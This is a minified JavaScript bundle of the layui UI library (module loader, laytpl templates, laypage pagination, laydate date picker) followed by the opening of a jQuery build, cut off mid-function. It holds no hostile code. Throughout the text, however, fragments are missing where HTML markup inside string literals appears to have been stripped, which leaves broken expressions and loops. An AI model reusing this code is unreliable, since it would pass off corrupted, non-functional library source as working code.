v=t.createElement("script"),h=(u[f]?p+"lay/":/^\{\/\}/.test(y.modules[f])?"":n.base||"")+(y.modules[f]||f)+".js";h=h.replace(/^\{\/\}/,""),v.async=!0,v.charset="utf-8",v.src=h+function(){var e=n.version===!0?n.v||(new Date).getTime():n.version||"";return e?"?v="+e:""}(),d.appendChild(v),!v.attachEvent||v.attachEvent.toString&&v.attachEvent.toString().indexOf("[native code")<0||i?v.addEventListener("load",function(e){s(e,h)},!1):v.attachEvent("onreadystatechange",function(e){s(e,h)}),n.modules[f]=h}return y},o.prototype.getStyle=function(t,n){var o=t.currentStyle?t.currentStyle:e.getComputedStyle(t,null);return o[o.getPropertyValue?"getPropertyValue":"getAttribute"](n)},o.prototype.link=function(e,o,r){var i=this,u=t.createElement("link"),l=t.getElementsByTagName("head")[0];"string"==typeof o&&(r=o);var s=(r||e).replace(/\.|\//g,""),c=u.id="layuicss-"+s,y=0;return u.rel="stylesheet",u.href=e+(n.debug?"?v="+(new Date).getTime():""),u.media="all",t.getElementById(c)||l.appendChild(u),"function"!=typeof o?i:(function p(){return++y>1e3*n.timeout/100?a(e+" timeout"):void(1989===parseInt(i.getStyle(t.getElementById(c),"width"))?function(){o()}():setTimeout(p,100))}(),i)},n.callback={},o.prototype.factory=function(e){if(layui[e])return"function"==typeof n.callback[e]?n.callback[e]:null},o.prototype.addcss=function(e,t,o){return layui.link(n.dir+"css/"+e,t,o)},o.prototype.img=function(e,t,n){var o=new Image;return o.src=e,o.complete?t(o):(o.onload=function(){o.onload=null,t(o)},void(o.onerror=function(e){o.onerror=null,n(e)}))},o.prototype.config=function(e){e=e||{};for(var t in e)n[t]=e[t];return this},o.prototype.modules=function(){var e={};for(var t in u)e[t]=u[t];return e}(),o.prototype.extend=function(e){var t=this;e=e||{};for(var n in e)t[n]||t.modules[n]?a("模块名 "+n+" 已被占用"):t.modules[n]=e[n];return t},o.prototype.router=function(e){var t=this,e=e||location.hash,n={path:[],search:{},hash:(e.match(/[^#](#.*$)/)||[])[1]||""};return/^#\//.test(e)?(n.href=e=e.replace(/^#\//,""),e=e.replace(/([^#])(#.*$)/,"$1").split("/")||[],t.each(e,function(e,t){/^\w+=/.test(t)?function(){t=t.split("="),n.search[t[0]]=t[1]}():n.path.push(t)}),n):n},o.prototype.data=function(t,n,o){if(t=t||"layui",o=o||localStorage,e.JSON&&e.JSON.parse){if(null===n)return delete o[t];n="object"==typeof n?n:{key:n};try{var r=JSON.parse(o[t])}catch(a){var r={}}return"value"in n&&(r[n.key]=n.value),n.remove&&delete r[n.key],o[t]=JSON.stringify(r),n.key?r[n.key]:r}},o.prototype.sessionData=function(e,t){return this.data(e,t,sessionStorage)},o.prototype.device=function(t){var n=navigator.userAgent.toLowerCase(),o=function(e){var t=new RegExp(e+"/([^\\s\\_\\-]+)");return e=(n.match(t)||[])[1],e||!1},r={os:function(){return/windows/.test(n)?"windows":/linux/.test(n)?"linux":/iphone|ipod|ipad|ios/.test(n)?"ios":/mac/.test(n)?"mac":void 0}(),ie:function(){return!!(e.ActiveXObject||"ActiveXObject"in e)&&((n.match(/msie\s(\d+)/)||[])[1]||"11")}(),weixin:o("micromessenger")};return t&&!r[t]&&(r[t]=o(t)),r.android=/android/.test(n),r.ios="ios"===r.os,r},o.prototype.hint=function(){return{error:a}},o.prototype.each=function(e,t){var n,o=this;if("function"!=typeof t)return o;if(e=e||[],e.constructor===Object){for(n in e)if(t.call(e[n],n,e[n]))break}else for(n=0;na?1:r/g,">").replace(/'/g,"'").replace(/"/g,""")},error:function(e,r){var c="Laytpl Error:";return"object"==typeof console&&console.error(c+e+"\n"+(r||"")),c+e}},n=c.exp,t=function(e){this.tpl=e};t.pt=t.prototype,window.errors=0,t.pt.parse=function(e,t){var o=this,p=e,a=n("^"+r.open+"#",""),l=n(r.close+"$","");e=e.replace(/\s+|\r|\t|\n/g," ").replace(n(r.open+"#"),r.open+"# ").replace(n(r.close+"}"),"} "+r.close).replace(/\\/g,"\\\\").replace(n(r.open+"!(.+?)!"+r.close),function(e){return e=e.replace(n("^"+r.open+"!"),"").replace(n("!"+r.close),"").replace(n(r.open+"|"+r.close),function(e){return e.replace(/(.)/g,"\\$1")})}).replace(/(?="|')/g,"\\").replace(c.query(),function(e){return e=e.replace(a,"").replace(l,""),'";'+e.replace(/\\/g,"")+';view+="'}).replace(c.query(1),function(e){var c='"+(';return e.replace(/\s/g,"")===r.open+r.close?"":(e=e.replace(n(r.open+"|"+r.close),""),/^=/.test(e)&&(e=e.replace(/^=/,""),c='"+_escape_('),c+e.replace(/\\/g,"")+')+"')}),e='"use strict";var view = "'+e+'";return view;';try{return o.cache=e=new Function("d, _escape_",e),e(t,c.escape)}catch(u){return delete o.cache,c.error(u,p)}},t.pt.render=function(e,r){var n,t=this;return e?(n=t.cache?t.cache(e,c.escape):t.parse(t.tpl,e),r?void r(n):n):c.error("no data")};var o=function(e){return"string"!=typeof e?c.error("Template not found"):new t(e)};o.config=function(e){e=e||{};for(var c in e)r[c]=e[c]},o.v="1.2.0",e("laytpl",o)});layui.define(function(e){"use strict";var a=document,t="getElementById",n="getElementsByTagName",i="laypage",r="layui-disabled",u=function(e){var a=this;a.config=e||{},a.config.index=++s.index,a.render(!0)};u.prototype.type=function(){var e=this.config;if("object"==typeof e.elem)return void 0===e.elem.length?2:3},u.prototype.view=function(){var e=this,a=e.config,t=a.groups="groups"in a?0|a.groups:5;a.layout="object"==typeof a.layout?a.layout:["prev","page","next"],a.count=0|a.count,a.curr=0|a.curr||1,a.limits="object"==typeof a.limits?a.limits:[10,20,30,40,50],a.limit=0|a.limit||10,a.pages=Math.ceil(a.count/a.limit)||1,a.curr>a.pages&&(a.curr=a.pages),t<0?t=1:t>a.pages&&(t=a.pages),a.prev="prev"in a?a.prev:"上一页",a.next="next"in a?a.next:"下一页";var n=a.pages>t?Math.ceil((a.curr+(t>1?1:0))/(t>0?t:1)):1,i={prev:function(){return a.prev?''+a.prev+"":""}(),page:function(){var e=[];if(a.count<1)return"";n>1&&a.first!==!1&&0!==t&&e.push(''+(a.first||1)+"");var i=Math.floor((t-1)/2),r=n>1?a.curr-i:1,u=n>1?function(){var e=a.curr+(t-i-1);return e>a.pages?a.pages:e}():t;for(u-r2&&e.push('');r<=u;r++)r===a.curr?e.push('"+r+""):e.push(''+r+"");return a.pages>t&&a.pages>u&&a.last!==!1&&(u+1…'),0!==t&&e.push(''+(a.last||a.pages)+"")),e.join("")}(),next:function(){return a.next?''+a.next+"":""}(),count:'共 '+a.count+" 条",limit:function(){var e=['"}(),skip:function(){return['到第','','页',""].join("")}()};return['
      ',function(){var e=[];return layui.each(a.layout,function(a,t){i[t]&&e.push(i[t])}),e.join("")}(),"
      "].join("")},u.prototype.jump=function(e,a){if(e){var t=this,i=t.config,r=e.children,u=e[n]("button")[0],l=e[n]("input")[0],p=e[n]("select")[0],c=function(){var e=0|l.value.replace(/\s|\D/g,"");e&&(i.curr=e,t.render())};if(a)return c();for(var o=0,y=r.length;oi.pages||(i.curr=e,t.render())});p&&s.on(p,"change",function(){var e=this.value;i.curr*e>i.count&&(i.curr=Math.ceil(i.count/e)),i.limit=e,t.render()}),u&&s.on(u,"click",function(){c()})}},u.prototype.skip=function(e){if(e){var a=this,t=e[n]("input")[0];t&&s.on(t,"keyup",function(t){var n=this.value,i=t.keyCode;/^(37|38|39|40)$/.test(i)||(/\D/.test(n)&&(this.value=n.replace(/\D/,"")),13===i&&a.jump(e,!0))})}},u.prototype.render=function(e){var n=this,i=n.config,r=n.type(),u=n.view();2===r?i.elem&&(i.elem.innerHTML=u):3===r?i.elem.html(u):a[t](i.elem)&&(a[t](i.elem).innerHTML=u),i.jump&&i.jump(i,e);var s=a[t]("layui-laypage-"+i.index);n.jump(s),i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr),n.skip(s)};var s={render:function(e){var a=new u(e);return a.index},index:layui.laypage?layui.laypage.index+1e4:0,on:function(e,a,t){return e.attachEvent?e.attachEvent("on"+a,function(a){a.target=a.srcElement,t.call(e,a)}):e.addEventListener(a,t,!1),this}};e(i,s)});!function(){"use strict";var e=window.layui&&layui.define,t={getPath:function(){var e=document.currentScript?document.currentScript.src:function(){for(var e,t=document.scripts,n=t.length-1,a=n;a>0;a--)if("interactive"===t[a].readyState){e=t[a].src;break}return e||t[n].src}();return e.substring(0,e.lastIndexOf("/")+1)}(),getStyle:function(e,t){var n=e.currentStyle?e.currentStyle:window.getComputedStyle(e,null);return n[n.getPropertyValue?"getPropertyValue":"getAttribute"](t)},link:function(e,a,i){if(n.path){var r=document.getElementsByTagName("head")[0],o=document.createElement("link");"string"==typeof a&&(i=a);var s=(i||e).replace(/\.|\//g,""),l="layuicss-"+s,d=0;o.rel="stylesheet",o.href=n.path+e,o.id=l,document.getElementById(l)||r.appendChild(o),"function"==typeof a&&!function c(){return++d>80?window.console&&console.error("laydate.css: Invalid"):void(1989===parseInt(t.getStyle(document.getElementById(l),"width"))?a():setTimeout(c,100))}()}}},n={v:"5.0.9",config:{},index:window.laydate&&window.laydate.v?1e5:0,path:t.getPath,set:function(e){var t=this;return t.config=w.extend({},t.config,e),t},ready:function(a){var i="laydate",r="",o=(e?"modules/laydate/":"theme/")+"default/laydate.css?v="+n.v+r;return e?layui.addcss(o,a,i):t.link(o,a,i),this}},a=function(){var e=this;return{hint:function(t){e.hint.call(e,t)},config:e.config}},i="laydate",r=".layui-laydate",o="layui-this",s="laydate-disabled",l="开始日期超出了结束日期
      建议重新选择",d=[100,2e5],c="layui-laydate-static",m="layui-laydate-list",u="laydate-selected",h="layui-laydate-hint",y="laydate-day-prev",f="laydate-day-next",p="layui-laydate-footer",g=".laydate-btns-confirm",v="laydate-time-text",D=".laydate-btns-time",T=function(e){var t=this;t.index=++n.index,t.config=w.extend({},t.config,n.config,e),n.ready(function(){t.init()})},w=function(e){return new C(e)},C=function(e){for(var t=0,n="object"==typeof e?[e]:(this.selector=e,document.querySelectorAll(e||null));t0)return n[0].getAttribute(e)}():n.each(function(n,a){a.setAttribute(e,t)})},C.prototype.removeAttr=function(e){return this.each(function(t,n){n.removeAttribute(e)})},C.prototype.html=function(e){return this.each(function(t,n){n.innerHTML=e})},C.prototype.val=function(e){return this.each(function(t,n){n.value=e})},C.prototype.append=function(e){return this.each(function(t,n){"object"==typeof e?n.appendChild(e):n.innerHTML=n.innerHTML+e})},C.prototype.remove=function(e){return this.each(function(t,n){e?n.removeChild(e):n.parentNode.removeChild(n)})},C.prototype.on=function(e,t){return this.each(function(n,a){a.attachEvent?a.attachEvent("on"+e,function(e){e.target=e.srcElement,t.call(a,e)}):a.addEventListener(e,t,!1)})},C.prototype.off=function(e,t){return this.each(function(n,a){a.detachEvent?a.detachEvent("on"+e,t):a.removeEventListener(e,t,!1)})},T.isLeapYear=function(e){return e%4===0&&e%100!==0||e%400===0},T.prototype.config={type:"date",range:!1,format:"yyyy-MM-dd",value:null,min:"1900-1-1",max:"2099-12-31",trigger:"focus",show:!1,showBottom:!0,btns:["clear","now","confirm"],lang:"cn",theme:"default",position:null,calendar:!1,mark:{},zIndex:null,done:null,change:null},T.prototype.lang=function(){var e=this,t=e.config,n={cn:{weeks:["日","一","二","三","四","五","六"],time:["时","分","秒"],timeTips:"选择时间",startTime:"开始时间",endTime:"结束时间",dateTips:"返回日期",month:["一","二","三","四","五","六","七","八","九","十","十一","十二"],tools:{confirm:"确定",clear:"清空",now:"现在"}},en:{weeks:["Su","Mo","Tu","We","Th","Fr","Sa"],time:["Hours","Minutes","Seconds"],timeTips:"Select Time",startTime:"Start Time",endTime:"End Time",dateTips:"Select Date",month:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],tools:{confirm:"Confirm",clear:"Clear",now:"Now"}}};return n[t.lang]||n.cn},T.prototype.init=function(){var e=this,t=e.config,n="yyyy|y|MM|M|dd|d|HH|H|mm|m|ss|s",a="static"===t.position,i={year:"yyyy",month:"yyyy-MM",date:"yyyy-MM-dd",time:"HH:mm:ss",datetime:"yyyy-MM-dd HH:mm:ss"};t.elem=w(t.elem),t.eventElem=w(t.eventElem),t.elem[0]&&(t.range===!0&&(t.range="-"),t.format===i.date&&(t.format=i[t.type]),e.format=t.format.match(new RegExp(n+"|.","g"))||[],e.EXP_IF="",e.EXP_SPLIT="",w.each(e.format,function(t,a){var i=new RegExp(n).test(a)?"\\d{"+function(){return new RegExp(n).test(e.format[0===t?t+1:t-1]||"")?/^yyyy|y$/.test(a)?4:a.length:/^yyyy$/.test(a)?"1,4":/^y$/.test(a)?"1,308":"1,2"}()+"}":"\\"+a;e.EXP_IF=e.EXP_IF+i,e.EXP_SPLIT=e.EXP_SPLIT+"("+i+")"}),e.EXP_IF=new RegExp("^"+(t.range?e.EXP_IF+"\\s\\"+t.range+"\\s"+e.EXP_IF:e.EXP_IF)+"$"),e.EXP_SPLIT=new RegExp("^"+e.EXP_SPLIT+"$",""),e.isInput(t.elem[0])||"focus"===t.trigger&&(t.trigger="click"),t.elem.attr("lay-key")||(t.elem.attr("lay-key",e.index),t.eventElem.attr("lay-key",e.index)),t.mark=w.extend({},t.calendar&&"cn"===t.lang?{"0-1-1":"元旦","0-2-14":"情人","0-3-8":"妇女","0-3-12":"植树","0-4-1":"愚人","0-5-1":"劳动","0-5-4":"青年","0-6-1":"儿童","0-9-10":"教师","0-9-18":"国耻","0-10-1":"国庆","0-12-25":"圣诞"}:{},t.mark),w.each(["min","max"],function(e,n){var a=[],i=[];if("number"==typeof t[n]){var r=t[n],o=(new Date).getTime(),s=864e5,l=new Date(r?r0)return!0;var a=w.elem("div",{"class":"layui-laydate-header"}),i=[function(){var e=w.elem("i",{"class":"layui-icon laydate-icon laydate-prev-y"});return e.innerHTML="",e}(),function(){var e=w.elem("i",{"class":"layui-icon laydate-icon laydate-prev-m"});return e.innerHTML="",e}(),function(){var e=w.elem("div",{"class":"laydate-set-ym"}),t=w.elem("span"),n=w.elem("span");return e.appendChild(t),e.appendChild(n),e}(),function(){var e=w.elem("i",{"class":"layui-icon laydate-icon laydate-next-m"});return e.innerHTML="",e}(),function(){var e=w.elem("i",{"class":"layui-icon laydate-icon laydate-next-y"});return e.innerHTML="",e}()],d=w.elem("div",{"class":"layui-laydate-content"}),c=w.elem("table"),m=w.elem("thead"),u=w.elem("tr");w.each(i,function(e,t){a.appendChild(t)}),m.appendChild(u),w.each(new Array(6),function(e){var t=c.insertRow(0);w.each(new Array(7),function(a){if(0===e){var i=w.elem("th");i.innerHTML=n.weeks[a],u.appendChild(i)}t.insertCell(a)})}),c.insertBefore(m,c.children[0]),d.appendChild(c),r[e]=w.elem("div",{"class":"layui-laydate-main laydate-main-list-"+e}),r[e].appendChild(a),r[e].appendChild(d),o.push(i),s.push(d),l.push(c)}),w(d).html(function(){var e=[],i=[];return"datetime"===t.type&&e.push(''+n.timeTips+""),w.each(t.btns,function(e,r){var o=n.tools[r]||"btn";t.range&&"now"===r||(a&&"clear"===r&&(o="cn"===t.lang?"重置":"Reset"),i.push(''+o+""))}),e.push('"),e.join("")}()),w.each(r,function(e,t){i.appendChild(t)}),t.showBottom&&i.appendChild(d),/^#/.test(t.theme)){var m=w.elem("style"),u=["#{{id}} .layui-laydate-header{background-color:{{theme}};}","#{{id}} .layui-this{background-color:{{theme}} !important;}"].join("").replace(/{{id}}/g,e.elemID).replace(/{{theme}}/g,t.theme);"styleSheet"in m?(m.setAttribute("type","text/css"),m.styleSheet.cssText=u):m.innerHTML=u,w(i).addClass("laydate-theme-molv"),i.appendChild(m)}e.remove(T.thisElemDate),a?t.elem.append(i):(document.body.appendChild(i),e.position()),e.checkDate().calendar(),e.changeEvent(),T.thisElemDate=e.elemID,"function"==typeof t.ready&&t.ready(w.extend({},t.dateTime,{month:t.dateTime.month+1}))},T.prototype.remove=function(e){var t=this,n=(t.config,w("#"+(e||t.elemID)));return n.hasClass(c)||t.checkDate(function(){n.remove()}),t},T.prototype.position=function(){var e=this,t=e.config,n=e.bindElem||t.elem[0],a=n.getBoundingClientRect(),i=e.elem.offsetWidth,r=e.elem.offsetHeight,o=function(e){return e=e?"scrollLeft":"scrollTop",document.body[e]|document.documentElement[e]},s=function(e){return document.documentElement[e?"clientWidth":"clientHeight"]},l=5,d=a.left,c=a.bottom;d+i+l>s("width")&&(d=s("width")-i-l),c+r+l>s()&&(c=a.top>r?a.top-r:s()-r,c-=2*l),t.position&&(e.elem.style.position=t.position),e.elem.style.left=d+("fixed"===t.position?0:o(1))+"px",e.elem.style.top=c+("fixed"===t.position?0:o())+"px"},T.prototype.hint=function(e){var t=this,n=(t.config,w.elem("div",{"class":h}));n.innerHTML=e||"",w(t.elem).find("."+h).remove(),t.elem.appendChild(n),clearTimeout(t.hinTimer),t.hinTimer=setTimeout(function(){w(t.elem).find("."+h).remove()},3e3)},T.prototype.getAsYM=function(e,t,n){return n?t--:t++,t<0&&(t=11,e--),t>11&&(t=0,e++),[e,t]},T.prototype.systemDate=function(e){var t=e||new Date;return{year:t.getFullYear(),month:t.getMonth(),date:t.getDate(),hours:e?e.getHours():0,minutes:e?e.getMinutes():0,seconds:e?e.getSeconds():0}},T.prototype.checkDate=function(e){var t,a,i=this,r=(new Date,i.config),o=r.dateTime=r.dateTime||i.systemDate(),s=i.bindElem||r.elem[0],l=(i.isInput(s)?"val":"html",i.isInput(s)?s.value:"static"===r.position?"":s.innerHTML),c=function(e){e.year>d[1]&&(e.year=d[1],a=!0),e.month>11&&(e.month=11,a=!0),e.hours>23&&(e.hours=0,a=!0),e.minutes>59&&(e.minutes=0,e.hours++,a=!0),e.seconds>59&&(e.seconds=0,e.minutes++,a=!0),t=n.getEndDate(e.month+1,e.year),e.date>t&&(e.date=t,a=!0)},m=function(e,t,n){var o=["startTime","endTime"];t=(t.match(i.EXP_SPLIT)||[]).slice(1),n=n||0,r.range&&(i[o[n]]=i[o[n]]||{}),w.each(i.format,function(s,l){var c=parseFloat(t[s]);t[s].length必须遵循下述格式:
      "+(r.range?r.format+" "+r.range+" "+r.format:r.format)+"
      已为你重置"),a=!0):l&&l.constructor===Date?r.dateTime=i.systemDate(l):(r.dateTime=i.systemDate(),delete i.startState,delete i.endState,delete i.startDate,delete i.endDate,delete i.startTime,delete i.endTime),c(o),a&&l&&i.setValue(r.range?i.endDate?i.parse():"":i.parse()),e&&e(),i)},T.prototype.mark=function(e,t){var n,a=this,i=a.config;return w.each(i.mark,function(e,a){var i=e.split("-");i[0]!=t[0]&&0!=i[0]||i[1]!=t[1]&&0!=i[1]||i[2]!=t[2]||(n=a||t[2])}),n&&e.html(''+n+""),a},T.prototype.limit=function(e,t,n,a){var i,r=this,o=r.config,l={},d=o[n>41?"endDate":"dateTime"],c=w.extend({},d,t||{});return w.each({now:c,min:o.min,max:o.max},function(e,t){l[e]=r.newDate(w.extend({year:t.year,month:t.month,date:t.date},function(){var e={};return w.each(a,function(n,a){e[a]=t[a]}),e}())).getTime()}),i=l.nowl.max,e&&e[i?"addClass":"removeClass"](s),i},T.prototype.calendar=function(e){var t,a,i,r=this,s=r.config,l=e||s.dateTime,c=new Date,m=r.lang(),u="date"!==s.type&&"datetime"!==s.type,h=e?1:0,y=w(r.table[h]).find("td"),f=w(r.elemHeader[h][2]).find("span");if(l.yeard[1]&&(l.year=d[1],r.hint("最高只能支持到公元"+d[1]+"年")),r.firstDate||(r.firstDate=w.extend({},l)),c.setFullYear(l.year,l.month,1),t=c.getDay(),a=n.getEndDate(l.month||12,l.year),i=n.getEndDate(l.month+1,l.year),w.each(y,function(e,n){var d=[l.year,l.month],c=0;n=w(n),n.removeAttr("class"),e=t&&e=n.firstDate.year&&(r.month=a.max.month,r.date=a.max.date),n.limit(w(i),r,t),M++}),w(u[f?0:1]).attr("lay-ym",M-8+"-"+T[1]).html(b+p+" - "+(M-1+p))}else if("month"===e)w.each(new Array(12),function(e){var i=w.elem("li",{"lay-ym":e}),s={year:T[0],month:e};e+1==T[1]&&w(i).addClass(o),i.innerHTML=r.month[e]+(f?"月":""),d.appendChild(i),T[0]=n.firstDate.year&&(s.date=a.max.date),n.limit(w(i),s,t)}),w(u[f?0:1]).attr("lay-ym",T[0]+"-"+T[1]).html(T[0]+p);else if("time"===e){var E=function(){w(d).find("ol").each(function(e,a){w(a).find("li").each(function(a,i){n.limit(w(i),[{hours:a},{hours:n[x].hours,minutes:a},{hours:n[x].hours,minutes:n[x].minutes,seconds:a}][e],t,[["hours"],["hours","minutes"],["hours","minutes","seconds"]][e])})}),a.range||n.limit(w(n.footer).find(g),n[x],0,["hours","minutes","seconds"])};a.range?n[x]||(n[x]={hours:0,minutes:0,seconds:0}):n[x]=i,w.each([24,60,60],function(e,t){var a=w.elem("li"),i=["

      "+r.time[e]+"

        "];w.each(new Array(t),function(t){i.push(""+w.digit(t,2)+"")}),a.innerHTML=i.join("")+"
      ",d.appendChild(a)}),E()}if(y&&h.removeChild(y),h.appendChild(d),"year"===e||"month"===e)w(n.elemMain[t]).addClass("laydate-ym-show"),w(d).find("li").on("click",function(){var r=0|w(this).attr("lay-ym");if(!w(this).hasClass(s)){if(0===t)i[e]=r,l&&(n.startDate[e]=r),n.limit(w(n.footer).find(g),null,0);else if(l)n.endDate[e]=r;else{var c="year"===e?n.getAsYM(r,T[1]-1,"sub"):n.getAsYM(T[0],r,"sub");w.extend(i,{year:c[0],month:c[1]})}"year"===a.type||"month"===a.type?(w(d).find("."+o).removeClass(o),w(this).addClass(o),"month"===a.type&&"year"===e&&(n.listYM[t][0]=r,l&&(n[["startDate","endDate"][t]].year=r),n.list("month",t))):(n.checkDate("limit").calendar(),n.closeList()),n.setBtnStatus(),a.range||n.done(null,"change"),w(n.footer).find(D).removeClass(s)}});else{var S=w.elem("span",{"class":v}),k=function(){w(d).find("ol").each(function(e){var t=this,a=w(t).find("li");t.scrollTop=30*(n[x][C[e]]-2),t.scrollTop<=0&&a.each(function(e,n){if(!w(this).hasClass(s))return t.scrollTop=30*(e-2),!0})})},H=w(c[2]).find("."+v);k(),S.innerHTML=a.range?[r.startTime,r.endTime][t]:r.timeTips,w(n.elemMain[t]).addClass("laydate-time-show"),H[0]&&H.remove(),c[2].appendChild(S),w(d).find("ol").each(function(e){var t=this;w(t).find("li").on("click",function(){var r=0|this.innerHTML;w(this).hasClass(s)||(a.range?n[x][C[e]]=r:i[C[e]]=r,w(t).find("."+o).removeClass(o),w(this).addClass(o),E(),k(),(n.endDate||"time"===a.type)&&n.done(null,"change"),n.setBtnStatus())})})}return n},T.prototype.listYM=[],T.prototype.closeList=function(){var e=this;e.config;w.each(e.elemCont,function(t,n){w(this).find("."+m).remove(),w(e.elemMain[t]).removeClass("laydate-ym-show laydate-time-show")}),w(e.elem).find("."+v).remove()},T.prototype.setBtnStatus=function(e,t,n){var a,i=this,r=i.config,o=w(i.footer).find(g),d=r.range&&"date"!==r.type&&"time"!==r.type;d&&(t=t||i.startDate,n=n||i.endDate,a=i.newDate(t).getTime()>i.newDate(n).getTime(),i.limit(null,t)||i.limit(null,n)?o.addClass(s):o[a?"addClass":"removeClass"](s),e&&a&&i.hint("string"==typeof e?l.replace(/日期/g,e):l))},T.prototype.parse=function(e,t){var n=this,a=n.config,i=t||(e?w.extend({},n.endDate,n.endTime):a.range?w.extend({},n.startDate,n.startTime):a.dateTime),r=n.format.concat();return w.each(r,function(e,t){/yyyy|y/.test(t)?r[e]=w.digit(i.year,t.length):/MM|M/.test(t)?r[e]=w.digit(i.month+1,t.length):/dd|d/.test(t)?r[e]=w.digit(i.date,t.length):/HH|H/.test(t)?r[e]=w.digit(i.hours,t.length):/mm|m/.test(t)?r[e]=w.digit(i.minutes,t.length):/ss|s/.test(t)&&(r[e]=w.digit(i.seconds,t.length))}),a.range&&!e?r.join("")+" "+a.range+" "+n.parse(1):r.join("")},T.prototype.newDate=function(e){return e=e||{},new Date(e.year||1,e.month||0,e.date||1,e.hours||0,e.minutes||0,e.seconds||0)},T.prototype.setValue=function(e){var t=this,n=t.config,a=t.bindElem||n.elem[0],i=t.isInput(a)?"val":"html";return"static"===n.position||w(a)[i](e||""),this},T.prototype.stampRange=function(){var e,t,n=this,a=n.config,i=w(n.elem).find("td");if(a.range&&!n.endDate&&w(n.footer).find(g).addClass(s),n.endDate)return e=n.newDate({year:n.startDate.year,month:n.startDate.month,date:n.startDate.date}).getTime(),t=n.newDate({year:n.endDate.year,month:n.endDate.month,date:n.endDate.date}).getTime(),e>t?n.hint(l):void w.each(i,function(a,i){var r=w(i).attr("lay-ymd").split("-"),s=n.newDate({year:r[0],month:r[1]-1,date:r[2]}).getTime();w(i).removeClass(u+" "+o),s!==e&&s!==t||w(i).addClass(w(i).hasClass(y)||w(i).hasClass(f)?u:o),s>e&&s0&&t-1 in e)}function r(e,t,n){if(pe.isFunction(t))return pe.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return pe.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(Ce.test(t))return pe.filter(t,e,n);t=pe.filter(t,e)}return pe.grep(e,function(e){return pe.inArray(e,t)>-1!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t={};return pe.each(e.match(De)||[],function(e,n){t[n]=!0}),t}function a(){re.addEventListener?(re.removeEventListener("DOMContentLoaded",s),e.removeEventListener("load",s)):(re.detachEvent("onreadystatechange",s),e.detachEvent("onload",s))}function s(){(re.addEventListener||"load"===e.event.type||"complete"===re.readyState)&&(a(),pe.ready())}function u(e,t,n){if(void 0===n&&1===e.nodeType){var r="data-"+t.replace(_e,"-$1").toLowerCase();if(n=e.getAttribute(r),"string"==typeof n){try{n="true"===n||"false"!==n&&("null"===n?null:+n+""===n?+n:qe.test(n)?pe.parseJSON(n):n)}catch(i){}pe.data(e,t,n)}else n=void 0}return n}function l(e){var t;for(t in e)if(("data"!==t||!pe.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(e,t,n,r){if(He(e)){var i,o,a=pe.expando,s=e.nodeType,u=s?pe.cache:e,l=s?e[a]:e[a]&&a;if(l&&u[l]&&(r||u[l].data)||void 0!==n||"string"!=typeof t)return l||(l=s?e[a]=ne.pop()||pe.guid++:a),u[l]||(u[l]=s?{}:{toJSON:pe.noop}),"object"!=typeof t&&"function"!=typeof t||(r?u[l]=pe.extend(u[l],t):u[l].data=pe.extend(u[l].data,t)),o=u[l],r||(o.data||(o.data={}),o=o.data),void 0!==n&&(o[pe.camelCase(t)]=n),"string"==typeof t?(i=o[t],null==i&&(i=o[pe.camelCase(t)])):i=o,i}}function f(e,t,n){if(He(e)){var r,i,o=e.nodeType,a=o?pe.cache:e,s=o?e[pe.expando]:pe.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){pe.isArray(t)?t=t.concat(pe.map(t,pe.camelCase)):t in r?t=[t]:(t=pe.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;for(;i--;)delete r[t[i]];if(n?!l(r):!pe.isEmptyObject(r))return}(n||(delete a[s].data,l(a[s])))&&(o?pe.cleanData([e],!0):fe.deleteExpando||a!=a.window?delete a[s]:a[s]=void 0)}}}function d(e,t,n,r){var i,o=1,a=20,s=r?function(){return r.cur()}:function(){return pe.css(e,t,"")},u=s(),l=n&&n[3]||(pe.cssNumber[t]?"":"px"),c=(pe.cssNumber[t]||"px"!==l&&+u)&&Me.exec(pe.css(e,t));if(c&&c[3]!==l){l=l||c[3],n=n||[],c=+u||1;do o=o||".5",c/=o,pe.style(e,t,c+l);while(o!==(o=s()/u)&&1!==o&&--a)}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}function p(e){var t=ze.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function h(e,t){var n,r,i=0,o="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):void 0;if(!o)for(o=[],n=e.childNodes||e;null!=(r=n[i]);i++)!t||pe.nodeName(r,t)?o.push(r):pe.merge(o,h(r,t));return void 0===t||t&&pe.nodeName(e,t)?pe.merge([e],o):o}function g(e,t){for(var n,r=0;null!=(n=e[r]);r++)pe._data(n,"globalEval",!t||pe._data(t[r],"globalEval"))}function m(e){Be.test(e.type)&&(e.defaultChecked=e.checked)}function y(e,t,n,r,i){for(var o,a,s,u,l,c,f,d=e.length,y=p(t),v=[],x=0;x"!==f[1]||Ve.test(a)?0:u:u.firstChild,o=a&&a.childNodes.length;o--;)pe.nodeName(c=a.childNodes[o],"tbody")&&!c.childNodes.length&&a.removeChild(c);for(pe.merge(v,u.childNodes),u.textContent="";u.firstChild;)u.removeChild(u.firstChild);u=y.lastChild}else v.push(t.createTextNode(a));for(u&&y.removeChild(u),fe.appendChecked||pe.grep(h(v,"input"),m),x=0;a=v[x++];)if(r&&pe.inArray(a,r)>-1)i&&i.push(a);else if(s=pe.contains(a.ownerDocument,a),u=h(y.appendChild(a),"script"),s&&g(u),n)for(o=0;a=u[o++];)Ie.test(a.type||"")&&n.push(a);return u=null,y}function v(){return!0}function x(){return!1}function b(){try{return re.activeElement}catch(e){}}function w(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)w(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),i===!1)i=x;else if(!i)return e;return 1===o&&(a=i,i=function(e){return pe().off(e),a.apply(this,arguments)},i.guid=a.guid||(a.guid=pe.guid++)),e.each(function(){pe.event.add(this,t,i,r,n)})}function T(e,t){return 